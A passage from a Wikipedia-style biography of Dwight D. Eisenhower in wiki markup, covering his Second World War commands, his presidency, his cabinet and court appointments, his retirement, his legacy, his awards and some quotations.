After the Japanese [[attack on Pearl Harbor]], Eisenhower was assigned to the General Staff in Washington, where he served until June 1942. He was appointed Deputy Chief in charge of Pacific Defenses under the Chief of War Plans Division, General [[Leonard Gerow]], and then succeeded Gerow as Chief of the War Plans Division. Then he was appointed Assistant Chief of Staff in charge of Operations Division under the Chief of Staff, General [[George C. Marshall]]. It was his close association with Marshall which finally brought Eisenhower to senior command positions. Marshall recognized his great organizational and administrative abilities.

===Wartime commander===
[[Image:ac.eisenhower2.jpg|thumb|200px|right|Eisenhower with [[Winston Churchill]] during World War II]]
In June 1942 Eisenhower was appointed Commanding General, [[European Theater of Operations]] (ETOUSA) and was based in [[London]]. In November he was also appointed [[Supreme Commander Allied (Expeditionary) Force]] of the [[North African Theater of Operations]] through the new operational Headquarters [[AFHQ|A(E)FHQ]]. The word Expeditionary was dropped soon after his appointment for security reasons. In February 1943 his authority was extended as commander of AFHQ across the [[Mediterranean Sea]] basin to include the [[British 8th Army]], commanded by General [[Bernard Montgomery]]. The 8th Army had advanced across the [[Western Desert Campaign|Western Desert]] from the east and was ready for the start of the [[Tunisia Campaign]]. Eisenhower gained his fourth star and gave up command of ETOUSA to be commander of NATOUSA. After the capitulation of [[Axis Powers|Axis]] forces in [[North Africa]], Eisenhower remained in command of the renamed [[Mediterranean Theater of Operations]] (MTO) keeping the operational title and continued in command of NATOUSA redesignated MTOUSA. In this position he oversaw the [[Operation Husky|invasion of Sicily]] and the [[Allied invasion of Italy|invasion of the Italian mainland]].

In December 1943, it was announced that Eisenhower would be Supreme Allied Commander in [[Europe]]. In January 1944 he resumed command of ETOUSA and the following month was officially designated as the [[Supreme Headquarters Allied Expeditionary Force|Supreme Allied Commander of the Allied Expeditionary Force]] ([[SHAEF]]), serving in a dual role until the end of hostilities in Europe in May 1945. In these positions he was charged with planning and carrying out the Allied [[Battle of Normandy|assault on the coast of Normandy]] in June 1944 under the code name [[Operation Overlord]], the liberation of western Europe and the invasion of [[Germany]].  A month after the Normandy [[D-Day]] on [[June 6]], 1944, the [[Operation Dragoon|invasion of southern France]] took place, and control of the forces which took part in the southern invasion passed from the AFHQ to the SHAEF. From then until the [[The end of World War II in Europe|end of the War in Europe]] on [[May 8]] [[1945]],  Eisenhower through SHAEF had supreme command of all operational Allied forces&lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;, and through his command of ETOUSA, administrative command of all U.S. forces, on the [[Western Front (WWII)#1944 &amp;ndash; 1945|Western Front]] north of the Alps.

As recognition of his senior position in the Allied command, on [[December 20]], 1944, he was promoted to [[General of the Army]] equivalent to the rank of [[Field Marshal]] in most European armies. In this and the previous high commands he held, Eisenhower showed his great talents for leadership and diplomacy. Although he had never seen action himself, he won the respect of front-line commanders. He dealt skillfully with difficult subordinates such as [[Omar Bradley]] and [[George Patton]] and allies such as [[Winston Churchill]], Field Marshal [[Bernard Montgomery]] and General [[Charles de Gaulle]]. He had fundamental disagreements with Churchill and Montgomery over questions of strategy, but these rarely upset his relationships with them. He negotiated with [[Soviet Union|Soviet]] [[Georgy Zhukov|Marshal Zhukov]], and such was the confidence that President [[Franklin D. Roosevelt]] had in him, he sometimes worked directly with [[Joseph Stalin|Stalin]]. 

Eisenhower was offered the [[Medal of Honor]] for his leadership in the European Theater but refused it, saying that it should be reserved for bravery and valor.

It was never a certainty that ''Overlord'' would succeed. The tenuousness surrounding the entire decision including the timing and the location of the Normandy invasion might be summarized by a short speech that Eisenhower himself wrote, in advance, in case he might need it. In it, he took full responsibility for catastrophic failure, should that be the final result. Long after the successful landings on D-Day and the [[BBC]] broadcast of Eisenhower's brief speech concerning them, the never-used second speech was found in a shirt pocket by an aide. It read:

:&quot;Our landings have failed and I have withdrawn the troops. My decision to attack at this time and place was based on the best information available. The troops, the air and the Navy did all that bravery could do. If any blame or fault attaches to the attempt it is mine alone.&quot;

Following the [[Nazi Germany|German]] [[unconditional surrender]] on [[May 8]], [[1945]], Eisenhower was appointed Military Governor of the [[U.S. Occupation Zone]], based in [[Frankfurt-am-Main]]. Germany was divided into four Occupation Zones, one each for the U.S., Britain, France, and the Soviet Union. In addition, upon full discovery of the [[death camp]]s that were part of the [[Final Solution]] of the  [[Holocaust]], he ordered camera crews to comprehensively document evidence of the atrocity so as to prevent any doubt of its occurance.  He made the controversial decision to reclassify German prisoners of war or [[POW]]s in U.S. custody as [[Disarmed Enemy Forces]] or DEFs. As DEFs, they could be compelled to serve as unpaid [[conscript labor]]. An unknown number may have died in custody as a consequence of malnutrition, exposure to the elements, and lack of medical care (see [[Eisenhower and German POWs]]). 

Eisenhower was named Chief of Staff of the U.S. Army in November 1945, and in December 1950 was named Supreme Commander of the [[North Atlantic Treaty Organization]], and given operational command of NATO forces in Europe. Eisenhower retired from active service on [[May 31]], [[1952]], upon entering politics.  During this period Eisenhower served as president of [[Columbia University]] from 1948 until 1953, though he was on leave from the University while he served as [[NATO]] commander.

==Presidency 1953-1961==
After his many wartime successes, General Eisenhower returned to the U.S. a great hero. It would not be long before many supporters were pressuring him to run for public office. 

Eisenhower was generally considered a political moderate, and it was not immediately clear which party he would choose to join. Eventually he settled on the [[Republican Party (United States)|Republican Party]], and in 1952 he was nominated as the party's star candidate in the [[U.S. presidential election, 1952|1952 U.S. presidential election]]. Eisenhower easily defeated Illinois Governor [[Adlai Stevenson]] and became the first career soldier since [[Ulysses S. Grant]] to be elected President. Although many presidents have served in the military, Eisenhower would be the only general to serve as President in the 20th century.

===Foreign affairs===
[[Image:Eisenhower 68-91-3.jpg|thumb|right|Eisenhower nominated at the [[1952 Republican National Convention]].]]

Eisenhower's presidency was dominated by the [[Cold War]], the prolonged confrontation with the [[Soviet Union]] which had begun during [[Harry S. Truman|Truman]]'s term of office.

During his campaign, Eisenhower had promised to end the stalemate [[Korean War]], and indeed a cease-fire was signed in July 1953. He signed defense treaties with [[South Korea]] and the [[Republic of China]], and formed an anti-Communist alliance with Asian and Pacific countries, [[SEATO]], to halt the spread of [[Communism]] in Asia.

Eisenhower, while accepting the doctrine of [[containment]] originally developed by [[George F. Kennan|George Kennan]], sought to fight the [[USSR]] through more active means as detailed in the State Department memorandum [[NSC-68]]. His covert action policy was laid out in [[Nsc 162/2|NSC 162/2]]. He, along with Secretary of State [[John Foster Dulles]], developed the tactic of [[covert action]], taking advantage of the newly created [[CIA]] to interfere with suspected Communist governments abroad. An early use of covert action was against the anti-American [[Iran]]ian prime minister [[Mossadeq]] in 1953. The Iranian army ejected him from power with U.S. and British support and replaced him with the [[Shah]] [[Mohammad Reza Pahlavi]], whom they considered the legitimate ruler. 

Covert action continued throughout Eisenhower's administration. In the newly independent but chaotic [[Congo Crisis|Republic of Congo]], the [[Soviet Union]] and the [[KGB]] had intervened in favor of popularly elected Prime Minister [[Patrice Lumumba]]. Anti-Communism had become an issue and the U.S. and [[CIA]] gave weapons and covert support to pro-Western and Democratic CIA assets [[Joseph Kasavubu]] and his subordinate, Colonel [[Joseph Mobutu]]. The initial struggle came to a close in December 1960, after Kasavubu and Mobutu overthrew Lumumba and proceeded to turn the country (later known as [[Zaire]]) into an [[autocracy]] which was unstable long after the end of Eisenhower's term. Mobutu [[assassinated]] Lumumba shortly after his overthrow, and some allege that the CIA ([[Sidney Gottlieb]]), collaborated with Mobutu in the assassination.

Eisenhower also increased U.S. involvement in [[Southeast Asia]], a process which had begun under his predecessor Truman. In [[1954]], he sent Dulles to [[Geneva]] as a delegate to the [[Geneva Conference]], which ended the [[First Indochina War]] and temporarily partitioned [[Vietnam]] into a Communist northern half (under [[Ho Chi Minh]]) and a non-Communist southern half (under [[Ngo Dinh Diem]]). In February [[1955]], Eisenhower dispatched the first American soldiers to Vietnam as military advisors to Diem's army. After Diem announced the formation of the Republic of Vietnam (RVN, commonly known as [[South Vietnam]]) in October, Eisenhower immediately recognized the new state and offered military, economic, and technical assistance. On [[July 8]], [[1959]], Major Dale R. Buis and Sergeant Chester M. Ovnand, two U.S. military advisors in Vietnam, became the first American troops to die in what would become the [[Vietnam War]], a conflict which began during Eisenhower's term of office. 

In 1956, Eisenhower strongly disapproved of the actions of [[United Kingdom|Britain]], [[France]] and [[Israel]] in sending troops to [[Egypt]] in the dispute over control of the [[Suez Canal]] (see [[Suez crisis]]). He used the economic power of the U.S. to force his European allies to back down and withdraw from Egypt.

During his second term he became increasingly involved in [[Middle East|Middle Eastern]] affairs, sending troops to [[Lebanon]] in 1958.

Under Eisenhower's presidency the U.S. developed as a global [[nuclear warfare|nuclear]] power. When Russia also developed their [[nuclear weapons]], fears of mutual annihilation in a [[World War III|Third World War]] intensified. On 30 October 1953, Eisenhower approved the security policy document [[Nsc 162/2|NSC 162/2]], which emphasized nuclear weapons above all other defense means. Nuclear weapons were seen as the most economically feasible means to deter the [[Soviet Union]] from military action against what then was called the &quot;Free World.&quot; American chagrin at the Soviets' 1957 surprise launch of [[Sputnik]], the first artificial satellite, led to many [[Sputnik crisis|strategic initiatives]], including the creation of [[NASA]] in 1958. Eisenhower hoped that after the death of [[Stalin]] in 1953, it would be possible to come to an agreement with subsequent Russian leaders to halt the [[nuclear arms race]]. Several attempts at convening a summit conference were made. The last attempt failed in 1960 when [[Nikita Khrushchev]] withdrew following the shooting down of an American [[Lockheed U-2|U-2]] spy plane over the Soviet Union.

===Domestic affairs===
Like most Republican presidents, Eisenhower believed that a [[free enterprise]] economy should run itself, and he took little interest in domestic policy. Although his 1952 landslide gave the Republicans control of both houses of the Congress, Eisenhower believed that taxes could not be cut until the budget was balanced. &quot;We cannot afford to reduce taxes, [and] reduce income,&quot; he said, &quot;until we have in sight a program of expenditure that shows that the factors of income and outgo will be balanced.&quot; The Democrats regained control in the 1954 [[U.S. Senate election, 1954|Senate]] and [[U.S. House election, 1954|House elections]], limiting his freedom of action on domestic policy. He forged a good relationship with Congressional leaders, particularly House Speaker [[Sam Rayburn]].

[[Image:Eisenhower in the Oval Office.jpg|thumb|left|150px|Eisenhower in the Oval Office, [[February 29]], [[1956]].]] [[Image:Eisenhower.png|thumb|right|150px|The [[coat of arms]] of Dwight D Eisenhower]]

Eisenhower appointed a Cabinet full of businessmen and gave them wide latitude in handling domestic affairs. He allowed them to take credit for domestic policy and allow him to concentrate on foreign affairs. With respect to the emerging [[American Civil Rights Movement (1955-1968)|American Civil Rights Movement]], he has been criticized by [[left-wing|liberal]]s for being reluctant to exercise leadership unless forced. In 1957, however, he sent federal troops to [[Little Rock, Arkansas]] after Governor [[Orval Faubus]] attempted to defy a [[Supreme Court of the United States|Supreme Court]] ruling that ordered the [[desegregation]] of all public schools.

Eisenhower was also criticized for not taking a public stand against Senator [[Joseph McCarthy]]'s anti-communist campaigns. Privately he held McCarthy in contempt for the senator's attacks on his friend and World War II colleague, General [[George Marshall]], Secretary of State under Truman. He stated &quot;I just won't get down in the gutter with that man&quot;.   Later, it was revealed that Eisenhower worked behind the scenes to bring McCarthy down. 

Eisenhower endorsed the [[Federal-Aid Highway Act of 1956]], which created the United States' [[Interstate Highway]]s. It was the largest [[public works]] program in U.S. history, providing a 41,000-mile highway system. Eisenhower had been impressed during the war with the German [[Autobahn]] system, and also recalled his own involvement in a military convoy in 1919 that took 62 days to cross the U.S. Another achievement was a 20% increase in family income during his presidency, of which he was very proud. 

[[Image:Eisenhower and Kennedy.jpg|thumb|right|250px|Eisenhower and President-elect John F. Kennedy, December, 1960.]]
Eisenhower retained his popularity throughout his presidency. In 1956 he was re-elected by an even wider margin than in 1952, again defeating Stevenson, and carrying such traditional Democratic states as [[Texas]] and [[Tennessee]]. 

However, there were three [[recessions]] during Eisenhower's administration — July 1953 through May 1954, August 1957 through April 1958, and April 1960 through February 1961. Real [[GDP]] growth averaged just 2.5 percent over those eight years.

Eisenhower had mixed feelings about his Vice President, [[Richard Nixon]], and only reluctantly endorsed him as the Republican candidate at the [[U.S. presidential election, 1960|1960 Presidential election]]. Nixon campaigned against [[John F. Kennedy|Kennedy]] on the great experience he had acquired in eight years as Vice President, but when Eisenhower was asked to name a decision Nixon had been responsible for in that time, he replied (intending a joke): &quot;Give me a week and I might think of something.&quot; This was a blow to Nixon, and he blamed Eisenhower for his narrow loss to Kennedy.

===Administration and Cabinet===
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[President of the United States|President]]||align=&quot;left&quot; |'''Dwight D. Eisenhower'''||align=&quot;left&quot;|1953&amp;ndash;1961
|-
|align=&quot;left&quot;|[[Vice President of the United States|Vice President]]||align=&quot;left&quot;|'''[[Richard Nixon]]'''||align=&quot;left&quot;|1953&amp;ndash;1961
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[United States Secretary of State|State]]||align=&quot;left&quot;|'''[[John Foster Dulles]]'''||align=&quot;left&quot;|1953&amp;ndash;1959
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Christian A. Herter]]'''||align=&quot;left&quot;|1959&amp;ndash;1961
|-
|align=&quot;left&quot;|[[United States Secretary of the Treasury|Treasury]]||align=&quot;left&quot;|'''[[George M. Humphrey]]'''||align=&quot;left&quot;|1953&amp;ndash;1957
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Robert B. Anderson]]'''||align=&quot;left&quot;|1957&amp;ndash;1961
|-
|align=&quot;left&quot;|[[United States Secretary of Defense|Defense]]||align=&quot;left&quot;|'''[[Charles Erwin Wilson|Charles E. Wilson]]'''||align=&quot;left&quot;|1953&amp;ndash;1957
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Neil H. McElroy]]'''||align=&quot;left&quot;|1957&amp;ndash;1959
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Thomas S. Gates|Thomas S. Gates, Jr.]]'''||align=&quot;left&quot;|1959&amp;ndash;1961
|-
|align=&quot;left&quot;|[[Attorney General of the United States|Justice]]||align=&quot;left&quot;|'''[[Herbert Brownell, Jr.]]'''||align=&quot;left&quot;|1953&amp;ndash;1957
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[William P. Rogers]]'''||align=&quot;left&quot;|1957&amp;ndash;1961
|-
|align=&quot;left&quot;|[[Postmaster General of the United States|Postmaster General]]||align=&quot;left&quot;|'''[[Arthur E. Summerfield]]'''||align=&quot;left&quot;|1953&amp;ndash;1961
|-
|align=&quot;left&quot;|[[United States Secretary of the Interior|Interior]]||align=&quot;left&quot;|'''[[Douglas McKay]]'''||align=&quot;left&quot;|1953&amp;ndash;1956
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Fred A. Seaton]]'''||align=&quot;left&quot;|1956&amp;ndash;1961
|-
|align=&quot;left&quot;|[[United States Secretary of Agriculture|Agriculture]]||align=&quot;left&quot;|'''[[Ezra Taft Benson|Ezra T. Benson]]'''||align=&quot;left&quot;|1953&amp;ndash;1961
|-
|align=&quot;left&quot;|[[United States Secretary of Commerce|Commerce]]||align=&quot;left&quot;|'''[[Sinclair Weeks]]'''||align=&quot;left&quot;|1953&amp;ndash;1958
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Lewis L. Strauss]]'''||align=&quot;left&quot;|1958&amp;ndash;1959
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Frederick H. Mueller]]'''||align=&quot;left&quot;|1959&amp;ndash;1961
|-
|align=&quot;left&quot;|[[United States Secretary of Labor|Labor]]||align=&quot;left&quot;|'''[[Martin P. Durkin]]'''||align=&quot;left&quot;|1953
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[James P. Mitchell]]'''||align=&quot;left&quot;|1953&amp;ndash;1961
|-
|align=&quot;left&quot;|[[United States Secretary of Health, Education, and Welfare|HEW]]||align=&quot;left&quot;|'''[[Oveta Culp Hobby]]'''||align=&quot;left&quot;|1953&amp;ndash;1955
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Marion B. Folsom]]'''||align=&quot;left&quot;|1955&amp;ndash;1958
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Arthur S. Flemming]]'''||align=&quot;left&quot;|1958&amp;ndash;1961
|}
&lt;br clear=&quot;all&quot;&gt;

===White House staff and advisors===
* [[Emmet John Hughes]]
* [[Sherman Adams]]
* [[James C. Hagerty]]

===Supreme Court appointments===
Eisenhower appointed the following Justices to the [[Supreme Court of the United States]]:

* [[Earl Warren]] - Chief Justice - 1953
* [[John Marshall Harlan II]] - 1955
* [[William J. Brennan]] - 1956
* [[Charles Evans Whittaker]] - 1957
* [[Potter Stewart]] - 1958

=== States admitted to the Union ===
* [[Alaska]] &amp;ndash; 1959
* [[Hawaii]] &amp;ndash; 1959

==Retirement and death==
[[Image:Eisenhower 62-2-1USN.JPG|thumb|left|Eisenhower with President Kennedy on retreat in 1962.]]

On January 17, 1961, Eisenhower gave his final televised speech from the [[Oval Office]]. In his farewell speech to the nation, Eisenhower raised the issue of the Cold War and role of the U.S. armed forces. He described the Cold War saying: &quot;We face a hostile ideology global in scope, atheistic in character, ruthless in purpose and insidious in method...A vital element in keeping the peace is our military establishment. Our arms must be mighty, ready for instant action, so that no potential aggressor may be tempted to risk his own destruction.&quot;

Earlier in his remarks he had warned about what he saw as unjustified government spending proposals and continued with a warning that &quot;we must guard against the acquisition of unwarranted influence, whether sought or unsought, by the [[Military-industrial complex]]... Only an alert and knowledgeable citizenry can compel the proper meshing of the huge industrial and military machinery of defense with our peaceful methods and goals, so that security and liberty may prosper together.&quot;

Once Eisenhower left office his reputation declined, and he was seen as having been a &quot;do-nothing&quot; President. This was partly because of the contrast between Eisenhower and his young, activist successor, John F. Kennedy, but also due to his reluctance to support the civil rights movement or to stop [[McCarthyism]]. Such omissions were held against him during the liberal climate of the 1960s and 1970s. Eisenhower's reputation has risen since that time due to his non-partisan nature, his wartime leadership, his action in Arkansas, his being the last President to balance the budget (before the second Clinton term), and an increasing appreciation of how difficult it is today to maintain a prolonged peace. In [[Historical rankings of U.S. Presidents|recent surveys]] of historians, Eisenhower is often ranked in the top ten among all U.S. Presidents.

Eisenhower is purported to have said that his September 1953 appointment of California Governor Earl Warren as Chief Justice of the United States was &quot;the biggest damn fool mistake I ever made&quot;. Some sources place this act on Eisenhower's own list of &quot;My Top Five Lifetime Mistakes&quot;.  Eisenhower disagreed vigorously with several of Warren's decisions. 

Eisenhower retired to the place where he and Mamie had spent much of their post-war time, a working farm adjacent to the battlefield at [[Gettysburg, Pennsylvania]]. The Gettysburg farm is a [[National Historic Site]] [http://www.nps.gov/eise/]. In retirement, he did not completely retreat from political life; he spoke at the 1964 [[Republican convention]], and also appeared with [[Barry Goldwater]] in a Republican campaign commercial from Gettysburg.[http://livingroomcandidate.movingimage.us/election/index.php?nav_action=election&amp;nav_subaction=overview&amp;campaign_id=168]

[[Image:Eisenhower 67-475-19.jpg|thumb|right|Eisenhower leaving the White House after a visit with President Johnson in 1967.]]

Due to legal issues related to holding a military rank while in a civilian office, Eisenhower resigned his permanent commission as [[General of the Army]] before entering the office of President of the United States. Upon completion of his Presidential term, his commission on the retired list was reactivated and Eisenhower was again commissioned a five star general in the United States Army.

&quot;Ike&quot; Eisenhower died at 12:25 PM on [[March 28]], 1969, at [[Walter Reed Army Hospital]] in [[Washington D.C.]], after a long illness at the age of 78. He lies alongside his wife and their first child, who died in childhood, in a small chapel called the Place of Meditation, at the [[Eisenhower Presidential Library]], located in Abilene. His [[state funeral]] was quite unique because they were presided over by [[Richard Nixon]], who was vice-president under Eisenhower and was already serving as president of the United States. [http://www.army.mil/cmh-pg/books/Last_Salute/ch29.htm]

==Legacy==
Eisenhower's picture was on the dollar coin from 1971 to 1979. Nearly 700 million of the copper-nickel clad coins were minted for general circulation, and far smaller numbers of uncirculated and [[proof coinage|proof]] issues (in both copper-nickel and 40% silver varieties) were produced for collectors. Ike reappeared on a [[commemorative]] silver dollar issued in 1990, celebrating the 100th anniversary of his birth.

In 1971, the [[Eisenhower Medical Center]] in [[Rancho Mirage, California]] was named for him.

In 1983, [[The Eisenhower Institute]] was founded in Washington, D.C. as a policy institute to advance Eisenhower's intellectual and leadership legacies.

In 1999, the [[United States Congress]] created the [[Dwight D. Eisenhower Memorial Commission]], which is in the planning stages of creating an enduring [[Eisenhower National Memorial]] in [[Washington, D.C.]] across the street from the [[National Air and Space Museum]] on the [[National Mall]].

==Trivia==
* He named the presidential retreat [[Camp David]] after his grandson [[David Eisenhower]].
* In 1961 when he handed over the presidency to [[John F. Kennedy]], at 43 the youngest elected president, he was the oldest president to serve, at 70 years and 98 days &amp;ndash; a record since broken by [[Ronald Reagan]]. 
* Eisenhower was the first president affected by the [[22nd Amendment]], limiting presidential terms, and the first Republican president to be elected to two full terms since William McKinley (who did not live to serve them both).

* In 1945, General Eisenhower was the first American made an honorary member of the British [[Order of Merit]].  Only one other American has ever been given this honor, [[John Gilbert Winant]] in 1947.  Eisenhower is one of very few Americans made an [[List of honorary British Knights|honorary]] [[Order of the Bath|Knight Grand Cross of the Order of the Bath]].
* With the exception of [[George Washington]], who was appointed a [[Lieutenant General]] after serving as President, Eisenhower is the only United States President with military service to reenter the [[United States armed forces]] after leaving the office of President.

* Eisenhower has been portrayed by several actors, including [[Tom Selleck]] in the 2004 television program &quot;Ike: Countdown to D-Day&quot; which depicts the 90 days leading up to the [[D-Day|D-Day Invasion]]. On [[June 6]] of that year, Eisenhower's grandson, David, along with Roosevelt's grandson, David, and [[Arabella Churchill (charity founder)|Arabella Churchill]], granddaughter of British Prime Minister [[Sir Winston Churchill]], appeared on [[MSNBC]] during the network's coverage of the 60th anniversary of D-Day and talked about the roles their respective grandfathers played during the allied invasion.{{fn|3}}

==Awards and decorations==
===United States===
* [[Distinguished Service Medal (Army)|Army Distinguished Service Medal]] with four [[oak leaf clusters]]
* [[Navy Distinguished Service Medal]]
* [[Legion of Merit]]
* [[World War I Victory Medal]]
* [[European-African-Middle Eastern Campaign Medal]] with one silver and four bronze [[service stars]]
* [[American Campaign Medal]]
* [[American Defense Service Medal]] with &quot;Foreign Service&quot; [[Campaign clasp|clasp]]
* [[World War II Victory Medal]]
* [[Mexican Border Service Medal]]
* [[Army of Occupation Medal]] with &quot;Germany&quot; clasp
===International Awards===
* [[Order of the Bath|British Order of the Bath]]
* [[Order of Merit| British Order of Merit]]
* [[Africa Star|British African Star]] 
* [[Order of Leopold|Belgian Order of Leopold]]
* [[Croix de Guerre|Belgian Croix de Guerre]]
* [[Légion d'honneur|French Legion of Honor]]
* [[Croix de Guerre|French Croix de Guerre]]
* [[French Liberation Medal]]
* [[Luxembourg War Cross]]
* [[Luxembourg Medal of Merit]]
* [[Order of the White Lion|Czechoslovakian Order of the White Lion]]
* [[Golden Star of Victory|Czechoslovakian Golden Star of Victory]]
* [[Order of the Elephant|Danish Order of the Elephant]]
* [[Order of Ouissan Alaouite|Moroccan Order of Ouissan Alaouite]]
* [[Order of the Lion|Netherlands Grand Cross of the Order of the Lion]]
* [[Order of Victory|Russian Order of Victory]]
* [[Order of Suvorov|Russian Order of Suvorov]]
* [[Virtuti Militari|Polish Virtuti Militari]]
* [[Polish Cross of Grunwald]]
* [[Polish Rastituta Chevalier]]
* [[Argentinian Great Cross of the Order of the Liberator]]
* [[Brazilian Grand Cross Order of Military Merit]]
* Brazilian Grand Cross Order of Aeronautical Merit
* Brazilian National Order of the Southern Cross
* Brazil War Medal
* Brazil Campaign Medal
* Chief Commander of the Chilean Order of Merit
* Chinese Grand Cordon of the Order of Yun Hui
* Chinese Grand Cordon of the Order of Yun Fei
* Ecuadorian Star of Abdon Calderon
* Egyptian Grand Cordon of the Order of Ismal
* Ethiopian Order of Solomon
* Greek [[Order of George I]] with Swords
* Guatemalan Cross of Military Merit
* Haitian Great Cross of the Order of Honor and Merit
* Grand Cross of the Italian Military Order
* Order of Mexican Military Merit
* Mexican [[Aztec Eagle]]
* Medal of Mexican Civic Merit
* Norwegian Order of St. Olaf
* Tunisian Grand Cordon of the Nishan Iftikar

In addition, Eisenhower's name was given to a variety of streets, avenues, etc. in cities around the world, including [[Paris]], [[France]].

== Quotes ==
[[Image:wiki_eisenhower.JPG|thumb|left|Stamp issued by the [[United States Postal Service|USPS]] in 1969 commemorating Dwight D. Eisenhower]]
''From this day forward, the millions of our school children will daily proclaim in every city, every village, and every rural schoolhouse, the dedication of our nation and our people to the Almighty.''&lt;br&gt;
--Dwight D. Eisenhower when signing into law the phrase &quot;One nation under God&quot; into the [[Pledge of Allegiance]].

''Every gun that is made, every warship launched, every rocket fired signifies in the final sense, a theft from those who hunger and are not fed, those who are cold and are not clothed. This world in arms is not spending money alone. It is spending the sweat of its laborers, the genius of its scientists, the hopes of its children.  This is not a way of life at all in any true sense. Under the clouds of war, it is humanity hanging on a cross of iron.''&lt;BR&gt;
-- Dwight Eisenhower, [[April 16]], [[1953]]

''I like to believe that people in the long run are going to do more to promote peace than our governments.  Indeed, I think that people want peace so much that one of these days governments had better get out of the way and let them have it.''&lt;BR&gt;
-- Dwight D. Eisenhower

''In the councils of government, we must guard against the acquisition of unwarranted influence, whether sought or unsought, by the [[military-industrial complex]]. The potential for the disastrous rise of misplaced power exists and will persist.''&lt;BR&gt; 
-- Dwight D. Eisenhower, Farewell Address [[January 17]], [[1961]] (source: Fortune program)

''Should any political party attempt to abolish social security, unemployment insurance, and eliminate labor laws and farm programs, you would not hear of that party again in our political history. There is a tiny splinter group, of course, that believes you can do these things. Among them are [[H. L. Hunt]] (you possibly know his background), a few other Texas oil millionaires, and an occasional politician or business man from other areas. Their number is negligible and they are stupid.''&lt;br&gt;
-- Dwight D. Eisenhower in a letter to his brother Edgar, [[November 8]], [[1954]], [http://www.snopes.com/politics/quotes/ike.asp Snopes page]

== Footnotes ==
*{{fnb|1}} All of the Eisenhower boys left the Jehovah's Witness religion when they reached adulthood and openly opposed major aspects of [[Watchtower]] teaching, although some of the values they learned from their Bible studies probably influenced them throughout their lives. Some Watchtower values may even have been reflected in Eisenhower's statements against war made in his latter life. Nonetheless, the Eisenhowers endeavored to hide the full extent of their mother's and family's Watchtower involvement although they did at times admit their affiliation with them. 

*{{fnb|2}} As V-E Day came, Allied forces in Western Europe [not including Italy] consisted of 4.5 million men, including 9 armies (5 of them American&amp;mdash;one of which, the Fifteenth, saw action only at the last), 23 corps, 91 divisions (61 of them American), 6 tactical air commands (4 American), and 2 strategic air forces (1 American). The Allies had 28,000 combat aircraft, of which 14,845 were American, and they had brought into Western Europe more than 970,000 vehicles and 18 million tons of supplies. At the same time they were achieving final victory in Italy with 18 divisions (7 of them American). [http://www.army.mil/cmh-pg/books/AMH/AMH-22.htm]

*{{fnb|3}} {{cite web
 | title = An Eisenhower, A Roosevelt, A Churchill
 | work = MSNBC D-Day 60th Anniversary Special Report
 | url = http://msnbc.msn.com/id/5139714
 | accessdate = March 29
 | accessyear = 2005
 }}

==Media==
{{multi-video start}}
{{multi-video item |
  filename      =  Eisenhower video montage.ogg|
  title         =  Eisenhower video montage|
  description   =Collection of video clips of the president.  (7.5 [[Megabyte|MB]], [[ogg]]/[[Theora]] format). |
  format        = [[Theora]]
}}
{{multi-video end}}

==See also==
* [[U.S. presidential election, 1952]]
* [[U.S. presidential election, 1956]]
* [[History of the United States (1945-1964)|History of the United States (1945&amp;ndash;1964)]]
* [[Military-industrial complex]], a term coined by Eisenhower
* [[Atoms for Peace]], a speech to the UN General Assembly in December, 1953
* [[People to People Student Ambassador Program]]
* [[Mount Eisenhower]]
* [[Kay Summersby]]
* [[Eisenhower Presidential Center]]
* [[Eisenhower National Historic Site]]
* [[Eisenhower and German POWs]]

==References==
===Secondary sources===
* Albertson, Dean. ed. ''Eisenhower as President'' (1963)
* Alexander, Charles C. ''Holding the Line: The Eisenhower Era, 1952-1961'' (1975)
* Ambrose, Stephen E. ''Eisenhower: Soldier and President'' (2003)
* Damms,  Richard V. ''The Eisenhower Presidency, 1953-1961'' (2002)
* Divine, Robert A. ''Eisenhower and the Cold War'' (1981)
* Greenstein, Fred I. ''The Hidden-Hand Presidency: Eisenhower as Leader'' (1991)
* Harris, Douglas B. &quot;Dwight Eisenhower and the New Deal: The Politics of Preemption&quot; ''Presidential Studies Quarterly'', Vol. 27, 1997.   
* Harris, Seymour E. ''The Economics of the Political Parties, with Special Attention to Presidents Eisenhower and Kennedy'' (1962)
* Krieg, Joann P. ed. ''Dwight D. Eisenhower, Soldier, President, Statesman'' (1987)
* Olson, James S. ''Historical Dictionary of the 1950s'' (2000)
* Pach, Chester J.  And Elmo Richardson. ''Presidency of Dwight D. Eisenhower'' (1991)
* Parmet, Herbert S. ''Eisenhower and the American Crusades'' (1972).  Biography of post 1945 years.
* Pogue; Forrest C. ''The Supreme Command''  (1996)
* Sixsmith, E. K.G. ''Eisenhower, His Life and Campaigns'' (1973)

===Primary sources===								
* Eisenhower, Dwight D. ''Mandate for Change, 1953-1956'' (1963)
* [http://millercenter.virginia.edu/scripps/reference/papers/eisenhower.html ''Eisenhower Papers''] 21 volume scholarly edition; complete for 1940-61.

== External links ==
{{wikiquote}}
{{Wikisource author}}
{{commons|Dwight D. Eisenhower}}
* {{gutenberg author| id=Dwight+D.+Eisenhower | name=Dwight D. Eisenhower}}
